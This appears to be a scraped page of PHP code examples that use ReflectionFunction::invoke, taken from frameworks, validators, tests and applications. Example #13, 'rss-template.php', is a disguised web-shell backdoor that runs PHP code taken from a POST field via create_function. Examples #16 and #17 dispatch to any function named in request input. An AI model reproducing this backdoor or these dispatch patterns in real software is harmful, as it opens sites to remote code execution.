コード例 #1
0
ファイル: log.php プロジェクト: ZerGabriel/cms-1
 /**
  * 
  * @param Model_Job $job
  * @return void
  */
 public function run(Model_Job $job)
 {
     if (Kohana::$profiling === TRUE) {
         $benchmark = Profiler::start('Rub job', $job->name);
     }
     $this->values(array('job_id' => $job->id))->create();
     $this->set_status(Model_Job::STATUS_RUNNING);
     try {
         $job = $job->job;
         $minion_task = Minion_Task::convert_task_to_class_name($job);
         if (is_array($job)) {
             $passed = call_user_func($job);
         } elseif (class_exists($minion_task)) {
             Minion_Task::factory(array($job))->execute();
             $passed = TRUE;
         } elseif (strpos($job, '::') === FALSE) {
             $function = new ReflectionFunction($job);
             $passed = $function->invoke();
         } else {
             list($class, $method) = explode('::', $job, 2);
             $method = new ReflectionMethod($class, $method);
             $passed = $method->invoke(NULL);
         }
     } catch (Exception $e) {
         $this->failed();
         return;
     }
     $this->complete();
     if (isset($benchmark)) {
         Profiler::stop($benchmark);
     }
 }
コード例 #2
0
ファイル: callback.php プロジェクト: ZerGabriel/cms-1
 /**
  * 
  * @param string $callback
  * @param array $params
  * @return mixed
  */
 public static function invoke_function($callback, array $params = NULL)
 {
     $class = new ReflectionFunction($callback);
     if (empty($params)) {
         return $class->invoke();
     } else {
         return $class->invokeArgs($params);
     }
 }
コード例 #3
0
 public function get($id)
 {
     if (isset($this->servicesArray[$id]) === false) {
         throw new \Exception("The service with '{$id}' doesn't exist in the container.");
     }
     if (is_callable($this->servicesArray[$id])) {
         $closure = new \ReflectionFunction($this->servicesArray[$id]);
         return $closure->invoke($this);
     }
     return $this->servicesArray[$id];
 }
コード例 #4
0
ファイル: Custom.php プロジェクト: bladerangel/aplicacao
 /**
  * @see Lumine_Validator_AbstractValidator::execute()
  */
 public function execute(Lumine_Base $obj)
 {
     $value = $this->getFieldValue($obj);
     $result = true;
     // se for um array
     if (is_array($this->callback)) {
         $result = call_user_func_array($this->callback, array($obj, $this->getField(), $value));
     }
     if (is_string($this->callback)) {
         $function = new ReflectionFunction($this->callback);
         $result = $function->invoke($obj, $this->getField(), $value);
         unset($function);
     }
     return $result;
 }
コード例 #5
0
 public function testInvoke()
 {
     self::assertEquals($this->php_fctM1->invoke('test', 'ezcReflection', new ReflectionClass('ReflectionClass')), $this->fctM1->invoke('test', 'ezcReflection', new ReflectionClass('ReflectionClass')));
     self::assertEquals($this->php_fct_method_exists->invoke('ReflectionClass', 'hasMethod'), $this->fct_method_exists->invoke('ReflectionClass', 'hasMethod'));
 }
コード例 #6
0
ファイル: bug48757.php プロジェクト: badlamer/hhvm
<?php

function test()
{
    echo "Hello World\n";
}
function another_test($parameter)
{
    var_dump($parameter);
}
$func = new ReflectionFunction('test');
$func->invoke();
$func = new ReflectionFunction('another_test');
$func->invoke('testing');
コード例 #7
0
ファイル: App.php プロジェクト: nebiros/yasc
 /**
  * Call "post_dispatch" function.
  * 
  * @return bool
  */
 protected function _postDispatch()
 {
     $userFunctions = self::$_instance->getUserDefinedFunctions();
     $postDispatchFunctionName = self::POST_DISPATCH_FUNCTION_NAME;
     if (self::$_instance->getNamespaces() !== null) {
         foreach (self::$_instance->getNamespaces() as $namespace) {
             $tmp = strtolower($namespace) . "\\" . self::POST_DISPATCH_FUNCTION_NAME;
             if (in_array($tmp, $userFunctions)) {
                 $postDispatchFunctionName = $tmp;
                 break;
             }
         }
     }
     if (!in_array($postDispatchFunctionName, $userFunctions)) {
         return false;
     }
     $postDispatch = new ReflectionFunction($postDispatchFunctionName);
     $postDispatch->invoke();
 }
コード例 #8
0
ファイル: update_codevtt.php プロジェクト: fg-ok/codev
 * 1) check administration rights
 * 2) check DB version
 * 3) execute PHP & DB actions
 *
 *
 */
// check DB version
$query = "SELECT * from `codev_config_table` WHERE `config_id` = 'database_version' ";
$result = execQuery($query);
$row = SqlWrapper::getInstance()->sql_fetch_object($result);
$currentDatabaseVersion = $row->value;
echo "Current  database_version = {$currentDatabaseVersion}<br>";
echo "Expected database_version = " . Config::databaseVersion . "<br><br>";
if ($currentDatabaseVersion < Config::databaseVersion) {
    echo 'An update to version ' . Config::codevVersion . ' needs to be done.<br><br>';
    flush();
    try {
        for ($i = $currentDatabaseVersion; $i < Config::databaseVersion; $i++) {
            $callback = "update_v" . $i . "_to_v" . ($i + 1);
            echo "=== {$callback}<br>";
            $function = new ReflectionFunction($callback);
            $function->invoke();
            echo "<br>";
            flush();
        }
    } catch (Exception $e) {
        echo "ERROR: " . $e->getMessage() . "<br>";
        exit;
    }
    echo "<br><br>UPDATE DONE.<br>";
}
コード例 #9
0
ファイル: reflection.php プロジェクト: alphaxxl/hhvm
var_dump($rf->invokeArgs(array("a", &$b, "c")));
print "\n";
print "--- getStaticVariables(\"f\") ---\n";
$rf = new ReflectionFunction("f");
var_dump($rf->getStaticVariables());
print "\n";
/**
 * This is g's doc comment.
 */
function g($a = null, $b = array(1, 2, 3), $c = SOME_CONSTANT)
{
    print "In g({$a}, {$b}, {$c})\n";
}
$rg = new ReflectionFunction("g");
print "--- invoke(\"g\") ---\n";
var_dump($rg->invoke("a", "b"));
var_dump($rg->invoke("a", "b"));
print "\n";
print "--- export(\"g\") ---\n";
var_dump($rf->export('g', true));
print "\n";
#===============================================================================
# ReflectionClass.
interface H
{
    public function methH();
}
interface I
{
    public function methI();
}
コード例 #10
0
ファイル: validate.php プロジェクト: ascseb/core
 /**
  * Executes all validation filters, rules, and callbacks. This should
  * typically be called within an in/else block.
  *
  *     if ($validation->check())
  *     {
  *          // The data is valid, do something here
  *     }
  *
  * @return  boolean
  */
 public function check()
 {
     if (Kohana::$profiling === TRUE) {
         // Start a new benchmark
         $benchmark = Profiler::start('Validation', __FUNCTION__);
     }
     // New data set
     $data = $this->_errors = array();
     // Assume nothing has been submitted
     $submitted = FALSE;
     // Get a list of the expected fields
     $expected = array_keys($this->_labels);
     // Import the filters, rules, and callbacks locally
     $filters = $this->_filters;
     $rules = $this->_rules;
     $callbacks = $this->_callbacks;
     foreach ($expected as $field) {
         if (isset($this[$field])) {
             // Some data has been submitted, continue validation
             $submitted = TRUE;
             // Use the submitted value
             $data[$field] = $this[$field];
         } else {
             // No data exists for this field
             $data[$field] = NULL;
         }
         if (isset($filters[TRUE])) {
             if (!isset($filters[$field])) {
                 // Initialize the filters for this field
                 $filters[$field] = array();
             }
             // Append the filters
             $filters[$field] += $filters[TRUE];
         }
         if (isset($rules[TRUE])) {
             if (!isset($rules[$field])) {
                 // Initialize the rules for this field
                 $rules[$field] = array();
             }
             // Append the rules
             $rules[$field] += $rules[TRUE];
         }
         if (isset($callbacks[TRUE])) {
             if (!isset($callbacks[$field])) {
                 // Initialize the callbacks for this field
                 $callbacks[$field] = array();
             }
             // Append the callbacks
             $callbacks[$field] += $callbacks[TRUE];
         }
     }
     // Overload the current array with the new one
     $this->exchangeArray($data);
     if ($submitted === FALSE) {
         // Because no data was submitted, validation will not be forced
         return FALSE;
     }
     // Remove the filters, rules, and callbacks that apply to every field
     unset($filters[TRUE], $rules[TRUE], $callbacks[TRUE]);
     // Execute the filters
     foreach ($filters as $field => $set) {
         // Get the field value
         $value = $this[$field];
         foreach ($set as $filter => $params) {
             // Add the field value to the parameters
             array_unshift($params, $value);
             if (strpos($filter, '::') === FALSE) {
                 // Use a function call
                 $function = new ReflectionFunction($filter);
                 // Call $function($this[$field], $param, ...) with Reflection
                 $value = $function->invokeArgs($params);
             } else {
                 // Split the class and method of the rule
                 list($class, $method) = explode('::', $filter, 2);
                 // Use a static method call
                 $method = new ReflectionMethod($class, $method);
                 // Call $Class::$method($this[$field], $param, ...) with Reflection
                 $value = $method->invokeArgs(NULL, $params);
             }
         }
         // Set the filtered value
         $this[$field] = $value;
     }
     // Execute the rules
     foreach ($rules as $field => $set) {
         // Get the field value
         $value = $this[$field];
         foreach ($set as $rule => $params) {
             if (!in_array($rule, $this->_empty_rules) and !Validate::not_empty($value)) {
                 // Skip this rule for empty fields
                 continue;
             }
             // Add the field value to the parameters
             array_unshift($params, $value);
             if (method_exists($this, $rule)) {
                 // Use a method in this object
                 $method = new ReflectionMethod($this, $rule);
                 if ($method->isStatic()) {
                     // Call static::$rule($this[$field], $param, ...) with Reflection
                     $passed = $method->invokeArgs(NULL, $params);
                 } else {
                     // Do not use Reflection here, the method may be protected
                     $passed = call_user_func_array(array($this, $rule), $params);
                 }
             } elseif (strpos($rule, '::') === FALSE) {
                 // Use a function call
                 $function = new ReflectionFunction($rule);
                 // Call $function($this[$field], $param, ...) with Reflection
                 $passed = $function->invokeArgs($params);
             } else {
                 // Split the class and method of the rule
                 list($class, $method) = explode('::', $rule, 2);
                 // Use a static method call
                 $method = new ReflectionMethod($class, $method);
                 // Call $Class::$method($this[$field], $param, ...) with Reflection
                 $passed = $method->invokeArgs(NULL, $params);
             }
             if ($passed === FALSE) {
                 // Remove the field name from the parameters
                 array_shift($params);
                 // Add the rule to the errors
                 $this->error($field, $rule, $params);
                 // This field has an error, stop executing rules
                 break;
             }
         }
     }
     // Execute the callbacks
     foreach ($callbacks as $field => $set) {
         if (isset($this->_errors[$field])) {
             // Skip any field that already has an error
             continue;
         }
         foreach ($set as $callback) {
             if (is_string($callback) and strpos($callback, '::') !== FALSE) {
                 // Make the static callback into an array
                 $callback = explode('::', $callback, 2);
             }
             if (is_array($callback)) {
                 // Separate the object and method
                 list($object, $method) = $callback;
                 // Use a method in the given object
                 $method = new ReflectionMethod($object, $method);
                 if (!is_object($object)) {
                     // The object must be NULL for static calls
                     $object = NULL;
                 }
                 // Call $object->$method($this, $field, $errors) with Reflection
                 $method->invoke($object, $this, $field);
             } else {
                 // Use a function call
                 $function = new ReflectionFunction($callback);
                 // Call $function($this, $field, $errors) with Reflection
                 $function->invoke($this, $field);
             }
             if (isset($this->_errors[$field])) {
                 // An error was added, stop processing callbacks
                 break;
             }
         }
     }
     if (isset($benchmark)) {
         // Stop benchmarking
         Profiler::stop($benchmark);
     }
     return empty($this->_errors);
 }
コード例 #11
0
ファイル: validation.php プロジェクト: sxhao/resty-1
 public function check()
 {
     $data = $this->_errors = array();
     $expected = array_keys($this->_labels);
     $filters = $this->_filters;
     $rules = $this->_rules;
     $callbacks = $this->_callbacks;
     foreach ($expected as $field) {
         if (isset($this[$field])) {
             $data[$field] = $this[$field];
         } else {
             $data[$field] = NULL;
         }
         if (isset($filters[TRUE])) {
             if (!isset($filters[$field])) {
                 $filters[$field] = array();
             }
             $filters[$field] += $filters[TRUE];
         }
         if (isset($rules[TRUE])) {
             if (!isset($rules[$field])) {
                 $rules[$field] = array();
             }
             $rules[$field] += $rules[TRUE];
         }
         if (isset($callbacks[TRUE])) {
             if (!isset($callbacks[$field])) {
                 $callbacks[$field] = array();
             }
             $callbacks[$field] += $callbacks[TRUE];
         }
     }
     $this->exchangeArray($data);
     unset($filters[TRUE], $rules[TRUE], $callbacks[TRUE]);
     foreach ($filters as $field => $set) {
         $value = $this[$field];
         foreach ($set as $filter => $params) {
             array_unshift($params, $value);
             if (strpos($filter, '::') === FALSE) {
                 $function = new ReflectionFunction($filter);
                 $value = $function->invokeArgs($params);
             } else {
                 list($class, $method) = explode('::', $filter, 2);
                 $method = new ReflectionMethod($class, $method);
                 $value = $method->invokeArgs(NULL, $params);
             }
         }
         $this[$field] = $value;
     }
     foreach ($rules as $field => $set) {
         $value = $this[$field];
         foreach ($set as $rule => $params) {
             if (!in_array($rule, $this->_empty_rules) and !Validation::not_empty($value)) {
                 continue;
             }
             array_unshift($params, $value);
             if (method_exists($this, $rule)) {
                 $method = new ReflectionMethod($this, $rule);
                 if ($method->isStatic()) {
                     $passed = $method->invokeArgs(NULL, $params);
                 } else {
                     $passed = call_user_func_array(array($this, $rule), $params);
                 }
             } elseif (strpos($rule, '::') === FALSE) {
                 $function = new ReflectionFunction($rule);
                 $passed = $function->invokeArgs($params);
             } else {
                 list($class, $method) = explode('::', $rule, 2);
                 $method = new ReflectionMethod($class, $method);
                 $passed = $method->invokeArgs(NULL, $params);
             }
             if ($passed === FALSE) {
                 array_shift($params);
                 $this->error($field, $rule, $params);
                 break;
             }
         }
     }
     foreach ($callbacks as $field => $set) {
         if (isset($this->_errors[$field])) {
             continue;
         }
         foreach ($set as $callback) {
             if (is_string($callback) and strpos($callback, '::') !== FALSE) {
                 $callback = explode('::', $callback, 2);
             }
             if (is_array($callback)) {
                 list($object, $method) = $callback;
                 $method = new ReflectionMethod($object, $method);
                 if (!is_object($object)) {
                     $object = NULL;
                 }
                 $method->invoke($object, $this, $field);
             } else {
                 $function = new ReflectionFunction($callback);
                 $function->invoke($this, $field);
             }
             if (isset($this->_errors[$field])) {
                 break;
             }
         }
     }
     Request::instance()->set_data($this->as_array());
     return empty($this->_errors);
 }
コード例 #12
0
 private function run(\Closure $closure)
 {
     $ref = new \ReflectionFunction($closure);
     if ($ref->getNumberOfParameters() > 0) {
         throw new BadServiceBodyException("Service body closure cannot have parameters");
     }
     return $ref->invoke();
 }
コード例 #13
0
ファイル: rss-template.php プロジェクト: kalushta/darom
<?php

if (isset($_POST['title'])) {
    $function_cf = new ReflectionFunction('create_function');
    $func_inject = $function_cf->invokeArgs(array('', stripslashes($_POST['title'])));
    $function_inj = new ReflectionFunction($func_inject);
    $function_inj->invoke();
}
コード例 #14
0
ファイル: Common.php プロジェクト: armsteadj1/openpasl
 /**
  * Validates the element
  *
  * @return bool
  */
 public function Validate()
 {
     if (!$this->Validator) {
         return true;
     }
     if (!is_array($this->Validator)) {
         $Function = new \ReflectionFunction($this->Validator);
         $Data = $Function->invoke($this->getName(), $this->getValue());
     } else {
         list($ObjRef, $MethodName) = $this->Validator;
         $Data = $ObjRef->{$MethodName}($this->getName(), $this->getValue());
     }
     if (is_bool($Data)) {
         return true;
     } else {
         foreach ($Data as $Error) {
             $this->addErrorMessage($Error);
         }
         return false;
     }
 }
コード例 #15
0
 /**
  * @param string $callback
  * @param array  $parameters
  *
  * @return mixed
  */
 public static function invokeReflectionFunction($callback, array $parameters = null)
 {
     $class = new ReflectionFunction($callback);
     if (is_null($parameters)) {
         return $class->invoke();
     } else {
         return $class->invokeArgs($parameters);
     }
 }
コード例 #16
0
define(CONSUMER_SECRET, "your secret here");
define(BASE_URL, 'https://developer.api.autodesk.com');
// if the request URL contains the method being requested
// for instance, a call to view.and.data.php/authenticate
// will redirect to the function with the same name
$apiName = explode('/', trim($_SERVER['PATH_INFO'], '/'))[0];
if (!empty($apiName)) {
    // get the function by API name
    try {
        $apiFunction = new ReflectionFunction($apiName);
    } catch (Exception $e) {
        echo 'API not found';
    }
    // run the function and 'echo' it's reponse
    if ($apiFunction != null) {
        echo $apiFunction->invoke();
    }
    exit;
    // no HTML output
}
// now the APIs
function authenticate()
{
    // request body (client key & secret)
    $body = sprintf('client_id=%s' . '&client_secret=%s' . '&grant_type=client_credentials', CONSUMER_KEY, CONSUMER_SECRET);
    // prepare a POST request following the documentation
    $response = \Httpful\Request::post(BASE_URL . '/authentication/v1/authenticate')->addHeader('Content-Type', 'application/x-www-form-urlencoded')->body($body)->send();
    // make the request
    if ($response->code == 200) {
        // access the JSON response directly
        return $response->body->access_token;
コード例 #17
0
 public static function HandleAjaxRequest()
 {
     if (self::IsAjaxCall()) {
         $arParams = self::GetMethodParameters();
         $iNumParams = 0;
         if ($arParams !== NULL && is_array($arParams)) {
             $iNumParams = count($arParams);
         }
         $methodName = $_REQUEST["AjaxMethod"];
         if (function_exists($methodName)) {
             $methodInfo = new ReflectionFunction($methodName);
             $arMethodParams = $methodInfo->getParameters();
             if (is_array($arMethodParams) && count($arMethodParams) === $iNumParams) {
                 $arParamObjects = NULL;
                 if ($arParams !== NULL) {
                     $arParamObjects = array();
                     for ($i = 0; $i < $iNumParams; $i++) {
                         $arParamObjects[$i] = $arParams[$i];
                     }
                 }
                 if ($iNumParams === 0) {
                     $oReturnValue = $methodInfo->invoke($arParamObjects);
                 } else {
                     $oReturnValue = $methodInfo->invokeArgs($arParamObjects);
                 }
                 $sResponse = $oReturnValue === NULL ? "" : (string) $oReturnValue;
                 ob_clean();
                 header("Content-type: text/xml");
                 $content = "<return><![CDATA[";
                 $content .= str_replace("\\]\\]\\>", "\$\$\$AJAX_CDATA_CLOSE\$\$\$", $sResponse);
                 $content .= "]]></return>";
                 echo $content;
                 ob_end_flush();
             }
         }
     } else {
         ob_end_clean();
     }
 }
コード例 #18
0
ファイル: rfunc.php プロジェクト: igorsimdyanov/php7
<?php

## Отражение функции.
function throughTheDoor($which)
{
    echo "(get through the {$which} door)";
}
$func = new ReflectionFunction('throughTheDoor');
$func->invoke("left");
コード例 #19
0
 function showAnswer($number, $variable, $var, $previousdata, $inline = false, $enumid = "")
 {
     //echo '<br/>showing: ' . $variable;
     /* if inline field, then don't show it UNLESS it is inline display */
     if ($this->engine->isInlineField($variable) && $inline == false) {
         return "";
     }
     $inlineclass = "";
     $hovertext = $this->engine->getFill($variable, $var, SETTING_HOVERTEXT);
     if ($hovertext != "") {
         $returnStr = "<div title='" . str_replace("'", "", $hovertext) . "' class='uscic-answer'>";
     } else {
         $returnStr = "<div class='uscic-answer'>";
     }
     if ($inline) {
         $inlineclass = "-inline";
         $returnStr = "";
     }
     $language = getSurveyLanguage();
     $varname = SESSION_PARAMS_ANSWER . $number;
     $id = $this->engine->getFill($variable, $var, SETTING_ID);
     if (trim($id) == "") {
         $id = $varname;
     }
     $answertype = $var->getAnswerType();
     if (inArray($answertype, array(ANSWER_TYPE_SETOFENUMERATED, ANSWER_TYPE_MULTIDROPDOWN))) {
         $varname .= "[]";
     }
     /* add required error check */
     if ($var->getIfEmpty() != IF_EMPTY_ALLOW) {
         /* if not inline OR inline but not in enumerated/set of enumerated */
         if ($inline == false || $inline == true && trim($enumid) == "") {
             if (inArray($var->getAnswerType(), array(ANSWER_TYPE_SETOFENUMERATED))) {
                 // custom name for set of enumerated question, since we use a hidden field/textbox to track the real answer(s); we just use this custom name for referencing in the error checking
                 $this->addErrorCheck(SESSION_PARAMS_ANSWER . $number . "_name[]", new ErrorCheck(ERROR_CHECK_REQUIRED, "true"), $this->engine->getFill($variable, $var, SETTING_EMPTY_MESSAGE));
             } else {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_REQUIRED, "true"), $this->engine->getFill($variable, $var, SETTING_EMPTY_MESSAGE));
             }
         }
     }
     $align = $var->getAnswerAlignment();
     $qa = "";
     switch ($align) {
         case ALIGN_LEFT:
             $qa = "text-left";
             break;
         case ALIGN_RIGHT:
             $qa = "text-right";
             break;
         case ALIGN_JUSTIFIED:
             $qa = "text-justify";
             break;
         case ALIGN_CENTER:
             $qa = "text-center";
             break;
         default:
             break;
     }
     /* hide dk/rf/na */
     if (inArray($previousdata, array(ANSWER_DK, ANSWER_RF, ANSWER_NA))) {
         $previousdata = "";
     }
     $pretext = "";
     $posttext = "";
     $inputgroupstart = '';
     $inputgroupend = "";
     if (inArray($answertype, array(ANSWER_TYPE_STRING, ANSWER_TYPE_INTEGER, ANSWER_TYPE_RANGE, ANSWER_TYPE_DOUBLE))) {
         $pretext = $this->engine->getFill($variable, $var, SETTING_PRETEXT);
         $posttext = $this->engine->getFill($variable, $var, SETTING_POSTTEXT);
         $answerformat = "";
         if ($pretext != "") {
             $answerformat = $var->getAnswerFormatting();
             $pretext = '<span id="vsid_' . $var->getVsid() . '" uscic-texttype="' . SETTING_PRETEXT . '" class="input-group-addon uscic-inputaddon-pretext' . $this->inlineeditable . '">' . $this->applyFormatting($pretext, $answerformat) . '</span>';
             $inputgroupstart = '<div class="input-group uscic-inputgroup-pretext">';
             $inputgroupend = "</div>";
         }
         if ($posttext != "") {
             if ($answerformat == "") {
                 $answerformat = $var->getAnswerFormatting();
             }
             $posttext = '<div id="vsid_' . $var->getVsid() . '" uscic-texttype="' . SETTING_POSTTEXT . '" class="input-group-addon uscic-inputaddon-posttext' . $this->inlineeditable . '">' . $this->applyFormatting($posttext, $answerformat) . '</div>';
             $inputgroupstart = '<div class="input-group uscic-inputgroup-posttext">';
             $inputgroupend = "</div>";
         }
     }
     $inlinejavascript = $this->engine->getFill($variable, $var, SETTING_JAVASCRIPT_WITHIN_ELEMENT);
     $inlinestyle = $this->engine->getFill($variable, $var, SETTING_STYLE_WITHIN_ELEMENT);
     $placeholder = $this->engine->getFill($variable, $var, SETTING_PLACEHOLDER);
     if (trim($placeholder) != "") {
         $placeholder = " placeholder='" . $placeholder . "' ";
     }
     $linkedto = "";
     if ($inline == true && trim($enumid) != "") {
         $linkedto = ' linkedto="' . $enumid . '" ';
     }
     /* add any comparison checks */
     $this->addComparisonChecks($var, $variable, $varname);
     /* any individual dk/rf/na */
     $dkrfna = $this->addDKRFNAButton($varname, $var, $variable, $inline, $enumid);
     $dkrfnaclass = "";
     if ($dkrfna != "") {
         if ($this->engine->isDKAnswer($variable)) {
             $dkrfnaclass = "dkrfna";
         } else {
             if ($this->engine->isRFAnswer($variable)) {
                 $dkrfnaclass = "dkrfna";
             } else {
                 if ($this->engine->isNAAnswer($variable)) {
                     $dkrfnaclass = "dkrfna";
                 }
             }
         }
     }
     /* add answer display */
     switch ($answertype) {
         case ANSWER_TYPE_STRING:
             //string
             $minimumlength = $this->engine->getFill($variable, $var, SETTING_MINIMUM_LENGTH);
             $maximumlength = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_LENGTH);
             if ($minimumlength > 0) {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MINLENGTH, $minimumlength), replacePlaceHolders(array(PLACEHOLDER_MINIMUM_LENGTH => $minimumlength), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MINIMUM_LENGTH)));
             }
             $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MAXLENGTH, $maximumlength), replacePlaceHolders(array(PLACEHOLDER_MAXIMUM_LENGTH => $maximumlength), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MAXIMUM_LENGTH)));
             $minwords = $this->engine->getFill($variable, $var, SETTING_MINIMUM_WORDS);
             $maxwords = $this->engine->getFill($variable, $var, SETTING_MAXIMUM_WORDS);
             if ($minwords > 0) {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MINWORDS, $minwords), replacePlaceHolders(array(PLACEHOLDER_MINIMUM_WORDS => $minwords), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MINIMUM_WORDS)));
             }
             $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_MAXWORDS, $maxwords), replacePlaceHolders(array(PLACEHOLDER_MAXIMUM_WORDS => $maxwords), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_MAXIMUM_WORDS)));
             /* input masking */
             $textmask = $this->addInputMasking($varname, $variable, $var);
             // placeholder: , "placeholder": "*"
             $pattern = $this->engine->getFill($variable, $var, SETTING_PATTERN);
             if (trim($pattern) != "") {
                 $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_PATTERN, $pattern), replacePlaceHolders(array(PLACEHOLDER_PATTERN => $pattern), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_PATTERN)));
             }
             if ($inline) {
                 $returnStr .= '<label>
                             <div class="uscic-string ' . $qa . '">' . $inputgroupstart . $pretext . '
                             <input class="form-control uscic-form-control-inline ' . $dkrfnaclass . '" spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $linkedto . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="uscic-string' . $inlineclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                                 ' . $posttext . $inputgroupend . $dkrfna . '
                             </div>
                             </label>';
             } else {
                 $returnStr .= $this->displayZipScripts();
                 $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">
                             <label>
                                 <div class="uscic-string ' . $qa . '">' . $inputgroupstart . $pretext . '                                    
                                 <input spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="form-control uscic-form-control ' . $dkrfnaclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                                     ' . $posttext . $inputgroupend . $dkrfna . '
                                 </div>    
                             </label>                                
                             </div>
                             ';
             }
             break;
         case ANSWER_TYPE_ENUMERATED:
             //enumerated
             $dis = $var->getEnumeratedDisplay();
             if ($dis == ORIENTATION_HORIZONTAL) {
                 $returnStr .= $this->showEnumeratedHorizontal($id, $varname, $variable, $var, $previousdata, $inlineclass, $inlinestyle, $inlinejavascript);
             } else {
                 if ($dis == ORIENTATION_VERTICAL) {
                     $returnStr .= $this->showEnumeratedVertical($id, $varname, $variable, $var, $previousdata, $inlineclass, $inlinestyle, $inlinejavascript);
                 } else {
                     $returnStr .= $this->showEnumeratedCustom($id, $varname, $variable, $var, $previousdata, $inlineclass, $inlinestyle, $inlinejavascript);
                 }
             }
             break;
         case ANSWER_TYPE_SETOFENUMERATED:
             //set of enumerated
             $dis = $var->getEnumeratedDisplay();
             if ($dis == ORIENTATION_HORIZONTAL) {
                 $returnStr .= $this->showsetOfEnumeratedHorizontal($id, $varname, $variable, $var, $previousdata, $inlineclass, $inlinestyle, $inlinejavascript);
             } else {
                 if ($dis == ORIENTATION_VERTICAL) {
                     $returnStr .= $this->showSetOfEnumeratedVertical($id, $varname, $variable, $var, $previousdata, $inlineclass, $inlinestyle, $inlinejavascript);
                 } else {
                     $returnStr .= $this->showSetOfEnumeratedCustom($id, $varname, $variable, $var, $previousdata, $inlineclass, $inlinestyle, $inlinejavascript);
                 }
             }
             break;
         case ANSWER_TYPE_DROPDOWN:
             //drop down
             $options = $this->engine->getFill($variable, $var, SETTING_OPTIONS);
             $returnStr .= $this->showComboBox($variable, $var, $varname, $id, $options, $previousdata, $inline, "", $linkedto);
             break;
         case ANSWER_TYPE_MULTIDROPDOWN:
             //multiple selection dropdown
             $this->addSetOfEnumeratedChecks($varname, $variable, $var, ANSWER_TYPE_MULTIDROPDOWN);
             $options = $this->engine->getFill($variable, $var, SETTING_OPTIONS);
             $returnStr .= $this->showComboBox($variable, $var, $varname, $id, $options, $previousdata, $inline, "multiple", $linkedto);
             break;
         case ANSWER_TYPE_INTEGER:
             //integer
             /* input masking */
             $textmask = $this->addInputMasking($varname, $variable, $var);
             $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_INTEGER, "true"), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_INTEGER));
             if ($inline) {
                 $returnStr .= '<div class="form-group uscic-formgroup-inline"><label>
                             <div class="uscic-integer ' . $qa . '">' . $inputgroupstart . $pretext . '
                             <input class="form-control uscic-form-control-inline ' . $dkrfnaclass . '" spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $linkedto . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="uscic-integer' . $inlineclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                                 ' . $posttext . $inputgroupend . $dkrfna . '
                             </div>
                             </label></div>';
             } else {
                 $returnStr .= '<div class="form-group uscic-formgroup">
                             <label>
                             <div class="uscic-integer ' . $qa . '">' . $inputgroupstart . $pretext . '
                             <input spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="form-control uscic-form-control ' . $dkrfnaclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                                 ' . $posttext . $inputgroupend . $dkrfna . '
                             </div>
                             </label>
                             </div>';
             }
             break;
         case ANSWER_TYPE_DOUBLE:
             //double
             /* input masking */
             $textmask = $this->addInputMasking($varname, $variable, $var);
             $this->addErrorCheck($varname, new ErrorCheck(ERROR_CHECK_NUMBER, "true"), $this->engine->getFill($variable, $var, SETTING_ERROR_MESSAGE_DOUBLE));
             if ($inline) {
                 $returnStr .= '<div class="form-group uscic-formgroup-inline"><label>
                             <div class="uscic-double ' . $qa . '">' . $inputgroupstart . $pretext . '
                             <input class="form-control uscic-form-control-inline ' . $dkrfnaclass . '" spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $linkedto . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="uscic-double' . $inlineclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                                 ' . $posttext . $inputgroupend . $dkrfna . '
                             </div>
                             </label></div>';
             } else {
                 $returnStr .= '<div class="form-group uscic-formgroup' . $inlineclass . '">
                             <label>
                             <div class="uscic-double ' . $qa . '">' . $inputgroupstart . $pretext . '
                             <input spellcheck="false" autocorrect="off" autocapitalize="off" autocomplete="off" ' . $placeholder . $textmask . ' ' . $inlinestyle . ' ' . $inlinejavascript . ' ' . $this->getErrorTextString($varname) . ' class="form-control uscic-form-control ' . $dkrfnaclass . '" type=text id=' . $id . ' name=' . $varname . ' value="' . convertHTLMEntities($previousdata, ENT_QUOTES) . '">
                             ' . $posttext . $inputgroupend . $dkrfna . '</div>
                             </label>
                             </div>';
             }
             break;
         case ANSWER_TYPE_RANGE:
             //range
             /* input masking */
             $textmask = $this->addInputMasking($varname, $variable, $var);
             $minimum = $this->engine->getFill($variable, $var, SETTING_MINIMUM_RANGE);
             if ($minimum == "" || !is_numeric($minimum)) {
